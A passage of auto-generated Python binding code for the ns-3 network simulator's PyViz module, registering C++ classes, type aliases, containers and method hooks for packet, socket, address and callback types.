(module 'core'): ns3::ObjectFactoryChecker [class] module.add_class('ObjectFactoryChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## object-factory.h (module 'core'): ns3::ObjectFactoryValue [class] module.add_class('ObjectFactoryValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper [class] module.add_class('OutputStreamWrapper', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >']) ## packet.h (module 'network'): ns3::Packet [class] module.add_class('Packet', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >']) typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const > )', 'ns3::Packet::TracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const > )*', 'ns3::Packet::TracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const > )&', 'ns3::Packet::TracedCallback&') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Address const & )', 'ns3::Packet::AddressTracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Address const & )*', 'ns3::Packet::AddressTracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Address const & )&', 'ns3::Packet::AddressTracedCallback&') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const > const, ns3::Address const &, ns3::Address const & )', 'ns3::Packet::TwoAddressTracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const > const, ns3::Address const &, ns3::Address const & )*', 'ns3::Packet::TwoAddressTracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const > const, ns3::Address const &, ns3::Address const & )&', 'ns3::Packet::TwoAddressTracedCallback&') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Mac48Address )', 'ns3::Packet::Mac48AddressTracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Mac48Address )*', 'ns3::Packet::Mac48AddressTracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, ns3::Mac48Address )&', 'ns3::Packet::Mac48AddressTracedCallback&') typehandlers.add_type_alias('void ( * ) ( uint32_t, uint32_t )', 'ns3::Packet::SizeTracedCallback') typehandlers.add_type_alias('void ( * ) ( uint32_t, uint32_t )*', 'ns3::Packet::SizeTracedCallback*') typehandlers.add_type_alias('void ( * ) ( uint32_t, uint32_t )&', 'ns3::Packet::SizeTracedCallback&') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, double )', 'ns3::Packet::SinrTracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, double )*', 'ns3::Packet::SinrTracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Ptr< ns3::Packet const >, double )&', 'ns3::Packet::SinrTracedCallback&') ## nstime.h (module 'core'): ns3::TimeValue [class] module.add_class('TimeValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## type-id.h (module 'core'): ns3::TypeIdChecker [class] module.add_class('TypeIdChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## type-id.h (module 'core'): ns3::TypeIdValue [class] module.add_class('TypeIdValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## address.h (module 'network'): ns3::AddressChecker [class] module.add_class('AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## address.h (module 'network'): ns3::AddressValue [class] module.add_class('AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## callback.h (module 'core'): ns3::CallbackImpl<bool, ns3::Ptr<ns3::Socket>, const ns3::Address &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['bool', 'ns3::Ptr<ns3::Socket>', 'const ns3::Address &', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<ns3::ObjectBase *, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['ns3::ObjectBase *', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, const ns3::Ipv4Header &, ns3::Ptr<const ns3::Packet>, ns3::Ipv4L3Protocol::DropReason, ns3::Ptr<ns3::Ipv4>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'const ns3::Ipv4Header &', 'ns3::Ptr<const ns3::Packet>', 'ns3::Ipv4L3Protocol::DropReason', 'ns3::Ptr<ns3::Ipv4>', 'unsigned int', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, const ns3::Ipv4Header &, ns3::Ptr<const ns3::Packet>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'const ns3::Ipv4Header &', 'ns3::Ptr<const ns3::Packet>', 'unsigned int', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<const ns3::Packet>, ns3::Ptr<ns3::Ipv4>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<const ns3::Packet>', 'ns3::Ptr<ns3::Ipv4>', 'unsigned int', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<const ns3::Packet>, unsigned short, const ns3::Address &, const ns3::Address &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<ns3::NetDevice>', 'ns3::Ptr<const ns3::Packet>', 'unsigned short', 'const ns3::Address &', 'const ns3::Address &', 'ns3::NetDevice::PacketType', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<ns3::NetDevice>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<ns3::NetDevice>', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<ns3::Socket>, const ns3::Address &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<ns3::Socket>', 'const ns3::Address &', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<ns3::Socket>', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<ns3::Socket>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<ns3::Socket>', 'unsigned int', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) module.add_container('std::vector< std::string >', 'std::string', container_type='vector') module.add_container('std::vector< ns3::PyViz::TransmissionSample >', 'ns3::PyViz::TransmissionSample', container_type='vector') module.add_container('ns3::PyViz::TransmissionSampleList', 'ns3::PyViz::TransmissionSample', container_type='vector') module.add_container('std::vector< ns3::PyViz::PacketDropSample >', 'ns3::PyViz::PacketDropSample', container_type='vector') module.add_container('ns3::PyViz::PacketDropSampleList', 'ns3::PyViz::PacketDropSample', container_type='vector') module.add_container('std::vector< ns3::PyViz::RxPacketSample >', 'ns3::PyViz::RxPacketSample', container_type='vector') module.add_container('std::vector< ns3::PyViz::TxPacketSample >', 'ns3::PyViz::TxPacketSample', container_type='vector') module.add_container('std::vector< ns3::PyViz::PacketSample >', 'ns3::PyViz::PacketSample', container_type='vector') module.add_container('std::set< unsigned int >', 'unsigned int', container_type='set') module.add_container('std::vector< ns3::PyViz::NetDeviceStatistics >', 'ns3::PyViz::NetDeviceStatistics', container_type='vector') module.add_container('std::vector< ns3::PyViz::NodeStatistics >', 'ns3::PyViz::NodeStatistics', container_type='vector') module.add_container('std::set< ns3::TypeId >', 'ns3::TypeId', container_type='set') module.add_container('std::vector< ns3::Ipv6Address >', 'ns3::Ipv6Address', container_type='vector') module.add_container('std::map< unsigned int, unsigned int >', ('unsigned int', 'unsigned int'), container_type='map') ## Register a nested module for the namespace FatalImpl nested_module = module.add_cpp_namespace('FatalImpl') register_types_ns3_FatalImpl(nested_module) ## Register a nested module for the namespace Hash nested_module = module.add_cpp_namespace('Hash') register_types_ns3_Hash(nested_module) ## Register a nested module for the namespace TracedValueCallback nested_module = module.add_cpp_namespace('TracedValueCallback') register_types_ns3_TracedValueCallback(nested_module) def register_types_ns3_FatalImpl(module): root_module = module.get_root() def register_types_ns3_Hash(module): root_module = module.get_root() ## hash-function.h (module 'core'): ns3::Hash::Implementation [class] module.add_class('Implementation', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >']) typehandlers.add_type_alias('uint32_t ( * ) ( char const *, std::size_t const )', 'ns3::Hash::Hash32Function_ptr') typehandlers.add_type_alias('uint32_t ( * ) ( char const *, std::size_t const )*', 'ns3::Hash::Hash32Function_ptr*') typehandlers.add_type_alias('uint32_t ( * ) ( char const *, std::size_t const )&', 'ns3::Hash::Hash32Function_ptr&') typehandlers.add_type_alias('uint64_t ( * ) ( char const *, std::size_t const )', 'ns3::Hash::Hash64Function_ptr') typehandlers.add_type_alias('uint64_t ( * ) ( char const *, std::size_t const )*', 'ns3::Hash::Hash64Function_ptr*') typehandlers.add_type_alias('uint64_t ( * ) ( char const *, std::size_t const )&', 'ns3::Hash::Hash64Function_ptr&') ## Register a nested module for the namespace Function nested_module = module.add_cpp_namespace('Function') register_types_ns3_Hash_Function(nested_module) def register_types_ns3_Hash_Function(module): root_module = module.get_root() ## hash-fnv.h (module 'core'): ns3::Hash::Function::Fnv1a [class] module.add_class('Fnv1a', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-function.h (module 'core'): ns3::Hash::Function::Hash32 [class] module.add_class('Hash32', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-function.h (module 'core'): ns3::Hash::Function::Hash64 [class] module.add_class('Hash64', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-murmur3.h (module 'core'): ns3::Hash::Function::Murmur3 [class] module.add_class('Murmur3', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) def register_types_ns3_TracedValueCallback(module): root_module = module.get_root() typehandlers.add_type_alias('void ( * ) ( ns3::Time, ns3::Time )', 'ns3::TracedValueCallback::Time') typehandlers.add_type_alias('void ( * ) ( ns3::Time, ns3::Time )*', 'ns3::TracedValueCallback::Time*') typehandlers.add_type_alias('void ( * ) ( ns3::Time, ns3::Time )&', 'ns3::TracedValueCallback::Time&') def register_methods(root_module): register_Ns3Address_methods(root_module, root_module['ns3::Address']) register_Ns3AttributeConstructionList_methods(root_module, root_module['ns3::AttributeConstructionList']) register_Ns3AttributeConstructionListItem_methods(root_module, root_module['ns3::AttributeConstructionList::Item']) register_Ns3Buffer_methods(root_module, root_module['ns3::Buffer']) register_Ns3BufferIterator_methods(root_module, root_module['ns3::Buffer::Iterator']) register_Ns3ByteTagIterator_methods(root_module, root_module['ns3::ByteTagIterator']) register_Ns3ByteTagIteratorItem_methods(root_module, root_module['ns3::ByteTagIterator::Item']) register_Ns3ByteTagList_methods(root_module, root_module['ns3::ByteTagList']) register_Ns3ByteTagListIterator_methods(root_module, root_module['ns3::ByteTagList::Iterator']) register_Ns3ByteTagListIteratorItem_methods(root_module, root_module['ns3::ByteTagList::Iterator::Item']) register_Ns3CallbackBase_methods(root_module, root_module['ns3::CallbackBase']) register_Ns3DefaultDeleter__Ns3AttributeAccessor_methods(root_module, root_module['ns3::DefaultDeleter< ns3::AttributeAccessor >']) register_Ns3DefaultDeleter__Ns3AttributeChecker_methods(root_module, root_module['ns3::DefaultDeleter< ns3::AttributeChecker >']) register_Ns3DefaultDeleter__Ns3AttributeValue_methods(root_module, root_module['ns3::DefaultDeleter< ns3::AttributeValue >']) register_Ns3DefaultDeleter__Ns3CallbackImplBase_methods(root_module, root_module['ns3::DefaultDeleter< ns3::CallbackImplBase >']) register_Ns3DefaultDeleter__Ns3EventImpl_methods(root_module, root_module['ns3::DefaultDeleter< ns3::EventImpl >']) register_Ns3DefaultDeleter__Ns3HashImplementation_methods(root_module, root_module['ns3::DefaultDeleter< ns3::Hash::Implementation >']) register_Ns3DefaultDeleter__Ns3NixVector_methods(root_module, root_module['ns3::DefaultDeleter< ns3::NixVector >']) register_Ns3DefaultDeleter__Ns3Packet_methods(root_module, root_module['ns3::DefaultDeleter< ns3::Packet >']) register_Ns3DefaultDeleter__Ns3TraceSourceAccessor_methods(root_module, root_module['ns3::DefaultDeleter< ns3::TraceSourceAccessor >']) register_Ns3EventId_methods(root_module, root_module['ns3::EventId']) register_Ns3Hasher_methods(root_module, root_module['ns3::Hasher']) register_Ns3Inet6SocketAddress_methods(root_module, root_module['ns3::Inet6SocketAddress']) register_Ns3InetSocketAddress_methods(root_module, root_module['ns3::InetSocketAddress']) register_Ns3Ipv4Address_methods(root_module, root_module['ns3::Ipv4Address']) register_Ns3Ipv4InterfaceAddress_methods(root_module, root_module['ns3::Ipv4InterfaceAddress']) register_Ns3Ipv4Mask_methods(root_module, root_module['ns3::Ipv4Mask']) register_Ns3Ipv6Address_methods(root_module, root_module['ns3::Ipv6Address']) register_Ns3Ipv6Prefix_methods(root_module, root_module['ns3::Ipv6Prefix']) register_Ns3Mac48Address_methods(root_module, root_module['ns3::Mac48Address']) register_Ns3Mac8Address_methods(root_module, root_module['ns3::Mac8Address']) register_Ns3ObjectBase_methods(root_module, root_module['ns3::ObjectBase']) register_Ns3ObjectDeleter_methods(root_module, root_module['ns3::ObjectDeleter']) register_Ns3ObjectFactory_methods(root_module, root_module['ns3::ObjectFactory']) register_Ns3PacketMetadata_methods(root_module, root_module['ns3::PacketMetadata']) register_Ns3PacketMetadataItem_methods(root_module, root_module['ns3::PacketMetadata::Item']) register_Ns3PacketMetadataItemIterator_methods(root_module, root_module['ns3::PacketMetadata::ItemIterator']) register_Ns3PacketTagIterator_methods(root_module, root_module['ns3::PacketTagIterator']) register_Ns3PacketTagIteratorItem_methods(root_module, root_module['ns3::PacketTagIterator::Item']) register_Ns3PacketTagList_methods(root_module, root_module['ns3::PacketTagList']) register_Ns3PacketTagListTagData_methods(root_module, root_module['ns3::PacketTagList::TagData']) register_Ns3PyViz_methods(root_module, root_module['ns3::PyViz']) register_Ns3PyVizLastPacketsSample_methods(root_module, root_module['ns3::PyViz::LastPacketsSample']) register_Ns3PyVizNetDeviceStatistics_methods(root_module, root_module['ns3::PyViz::NetDeviceStatistics']) register_Ns3PyVizNodeStatistics_methods(root_module, root_module['ns3::PyViz::NodeStatistics']) register_Ns3PyVizPacketCaptureOptions_methods(root_module, root_module['ns3::PyViz::PacketCaptureOptions']) register_Ns3PyVizPacketDropSample_methods(root_module, root_module['ns3::PyViz::PacketDropSample']) register_Ns3PyVizPacketSample_methods(root_module, root_module['ns3::PyViz::PacketSample']) register_Ns3PyVizRxPacketSample_methods(root_module, root_module['ns3::PyViz::RxPacketSample']) register_Ns3PyVizTransmissionSample_methods(root_module, root_module['ns3::PyViz::TransmissionSample']) register_Ns3PyVizTxPacketSample_methods(root_module, root_module['ns3::PyViz::TxPacketSample']) register_Ns3SimpleRefCount__Ns3Object_Ns3ObjectBase_Ns3ObjectDeleter_methods(root_module, root_module['ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter >']) register_Ns3Simulator_methods(root_module, root_module['ns3::Simulator']) register_Ns3Tag_methods(root_module, root_module['ns3::Tag']) register_Ns3TagBuffer_methods(root_module, root_module['ns3::TagBuffer']) register_Ns3TimeWithUnit_methods(root_module, root_module['ns3::TimeWithUnit']) register_Ns3TypeId_methods(root_module, root_module['ns3::TypeId']) register_Ns3TypeIdAttributeInformation_methods(root_module, root_module['ns3::TypeId::AttributeInformation']) register_Ns3TypeIdTraceSourceInformation_methods(root_module, root_module['ns3::TypeId::TraceSourceInformation']) register_Ns3Empty_methods(root_module, root_module['ns3::empty']) register_Ns3Int64x64_t_methods(root_module, root_module['ns3::int64x64_t']) register_Ns3Chunk_methods(root_module, root_module['ns3::Chunk']) register_Ns3Header_methods(root_module, root_module['ns3::Header']) register_Ns3Ipv4Header_methods(root_module, root_module['ns3::Ipv4Header']) register_Ns3Object_methods(root_module, root_module['ns3::Object']) register_Ns3ObjectAggregateIterator_methods(root_module, root_module['ns3::Object::AggregateIterator']) register_Ns3SimpleRefCount__Ns3AttributeAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeAccessor__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >']) register_Ns3SimpleRefCount__Ns3AttributeChecker_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeChecker__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >']) register_Ns3SimpleRefCount__Ns3AttributeValue_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeValue__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >']) register_Ns3SimpleRefCount__Ns3CallbackImplBase_Ns3Empty_Ns3DefaultDeleter__lt__ns3CallbackImplBase__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >']) register_Ns3SimpleRefCount__Ns3EventImpl_Ns3Empty_Ns3DefaultDeleter__lt__ns3EventImpl__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >']) register_Ns3SimpleRefCount__Ns3HashImplementation_Ns3Empty_Ns3DefaultDeleter__lt__ns3HashImplementation__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >']) register_Ns3SimpleRefCount__Ns3Ipv4MulticastRoute_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv4MulticastRoute__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> >']) register_Ns3SimpleRefCount__Ns3Ipv4Route_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv4Route__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> >']) register_Ns3SimpleRefCount__Ns3NixVector_Ns3Empty_Ns3DefaultDeleter__lt__ns3NixVector__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >']) register_Ns3SimpleRefCount__Ns3OutputStreamWrapper_Ns3Empty_Ns3DefaultDeleter__lt__ns3OutputStreamWrapper__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >']) register_Ns3SimpleRefCount__Ns3Packet_Ns3Empty_Ns3DefaultDeleter__lt__ns3Packet__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >']) register_Ns3SimpleRefCount__Ns3TraceSourceAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3TraceSourceAccessor__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >']) register_Ns3Socket_methods(root_module, root_module['ns3::Socket']) register_Ns3SocketIpTosTag_methods(root_module, root_module['ns3::SocketIpTosTag']) register_Ns3SocketIpTtlTag_methods(root_module, root_module['ns3::SocketIpTtlTag']) register_Ns3SocketIpv6HopLimitTag_methods(root_module, root_module['ns3::SocketIpv6HopLimitTag']) register_Ns3SocketIpv6TclassTag_methods(root_module, root_module['ns3::SocketIpv6TclassTag']) register_Ns3SocketPriorityTag_methods(root_module, root_module['ns3::SocketPriorityTag']) register_Ns3SocketSetDontFragmentTag_methods(root_module, root_module['ns3::SocketSetDontFragmentTag']) register_Ns3Time_methods(root_module, root_module['ns3::Time']) register_Ns3TraceSourceAccessor_methods(root_module, root_module['ns3::TraceSourceAccessor']) register_Ns3Trailer_methods(root_module, root_module['ns3::Trailer']) register_Ns3AttributeAccessor_methods(root_module, root_module['ns3::AttributeAccessor']) register_Ns3AttributeChecker_methods(root_module, root_module['ns3::AttributeChecker']) register_Ns3AttributeValue_methods(root_module, root_module['ns3::AttributeValue']) register_Ns3CallbackChecker_methods(root_module, root_module['ns3::CallbackChecker']) register_Ns3CallbackImplBase_methods(root_module, root_module['ns3::CallbackImplBase']) register_Ns3CallbackValue_methods(root_module, root_module['ns3::CallbackValue']) register_Ns3Channel_methods(root_module, root_module['ns3::Channel']) register_Ns3EmptyAttributeAccessor_methods(root_module, root_module['ns3::EmptyAttributeAccessor']) register_Ns3EmptyAttributeChecker_methods(root_module, root_module['ns3::EmptyAttributeChecker']) register_Ns3EmptyAttributeValue_methods(root_module, root_module['ns3::EmptyAttributeValue']) register_Ns3EventImpl_methods(root_module, root_module['ns3::EventImpl']) register_Ns3Ipv4_methods(root_module, root_module['ns3::Ipv4']) register_Ns3Ipv4AddressChecker_methods(root_module, root_module['ns3::Ipv4AddressChecker']) register_Ns3Ipv4AddressValue_methods(root_module, root_module['ns3::Ipv4AddressValue']) register_Ns3Ipv4L3Protocol_methods(root_module, root_module['ns3::Ipv4L3Protocol']) register_Ns3Ipv4MaskChecker_methods(root_module, root_module['ns3::Ipv4MaskChecker']) register_Ns3Ipv4MaskValue_methods(root_module, root_module['ns3::Ipv4MaskValue']) register_Ns3Ipv4MulticastRoute_methods(root_module, root_module['ns3::Ipv4MulticastRoute']) register_Ns3Ipv4Route_methods(root_module, root_module['ns3::Ipv4Route']) register_Ns3Ipv4RoutingProtocol_methods(root_module, root_module['ns3::Ipv4RoutingProtocol']) register_Ns3Ipv6AddressChecker_methods(root_module, root_module['ns3::Ipv6AddressChecker']) register_Ns3Ipv6AddressValue_methods(root_module, root_module['ns3::Ipv6AddressValue']) register_Ns3Ipv6PrefixChecker_methods(root_module, root_module['ns3::Ipv6PrefixChecker']) register_Ns3Ipv6PrefixValue_methods(root_module, root_module['ns3::Ipv6PrefixValue']) register_Ns3Mac48AddressChecker_methods(root_module, root_module['ns3::Mac48AddressChecker']) register_Ns3Mac48AddressValue_methods(root_module, root_module['ns3::Mac48AddressValue']) register_Ns3NetDevice_methods(root_module, root_module['ns3::NetDevice']) register_Ns3NixVector_methods(root_module, root_module['ns3::NixVector']) register_Ns3Node_methods(root_module, root_module['ns3::Node']) register_Ns3ObjectFactoryChecker_methods(root_module, root_module['ns3::ObjectFactoryChecker']) register_Ns3ObjectFactoryValue_methods(root_module, root_module['ns3::ObjectFactoryValue']) register_Ns3OutputStreamWrapper_methods(root_module, root_module['ns3::OutputStreamWrapper']) register_Ns3Packet_methods(root_module, root_module['ns3::Packet']) register_Ns3TimeValue_methods(root_module, root_module['ns3::TimeValue']) register_Ns3TypeIdChecker_methods(root_module, root_module['ns3::TypeIdChecker']) register_Ns3TypeIdValue_methods(root_module, root_module['ns3::TypeIdValue']) register_Ns3AddressChecker_methods(root_module, root_module['ns3::AddressChecker']) register_Ns3AddressValue_methods(root_module, root_module['ns3::AddressValue']) register_Ns3CallbackImpl__Bool_Ns3Ptr__lt__ns3Socket__gt___Const_ns3Address___amp___Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< bool, ns3::Ptr<ns3::Socket>, const ns3::Address &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Ns3ObjectBase___star___Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< ns3::ObjectBase *, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Const_ns3Ipv4Header___amp___Ns3Ptr__lt__const_ns3Packet__gt___Ns3Ipv4L3ProtocolDropReason_Ns3Ptr__lt__ns3Ipv4__gt___Unsigned_int_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, const ns3::Ipv4Header &, ns3::Ptr<const ns3::Packet>, ns3::Ipv4L3Protocol::DropReason, ns3::Ptr<ns3::Ipv4>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Const_ns3Ipv4Header___amp___Ns3Ptr__lt__const_ns3Packet__gt___Unsigned_int_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, const ns3::Ipv4Header &, ns3::Ptr<const ns3::Packet>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__const_ns3Packet__gt___Ns3Ptr__lt__ns3Ipv4__gt___Unsigned_int_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<const ns3::Packet>, ns3::Ptr<ns3::Ipv4>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__ns3NetDevice__gt___Ns3Ptr__lt__const_ns3Packet__gt___Unsigned_short_Const_ns3Address___amp___Const_ns3Address___amp___Ns3NetDevicePacketType_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<const ns3::Packet>, unsigned short, const ns3::Address &, const ns3::Address &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__ns3NetDevice__gt___Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<ns3::NetDevice>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__ns3Socket__gt___Const_ns3Address___amp___Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<ns3::Socket>, const ns3::Address &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, 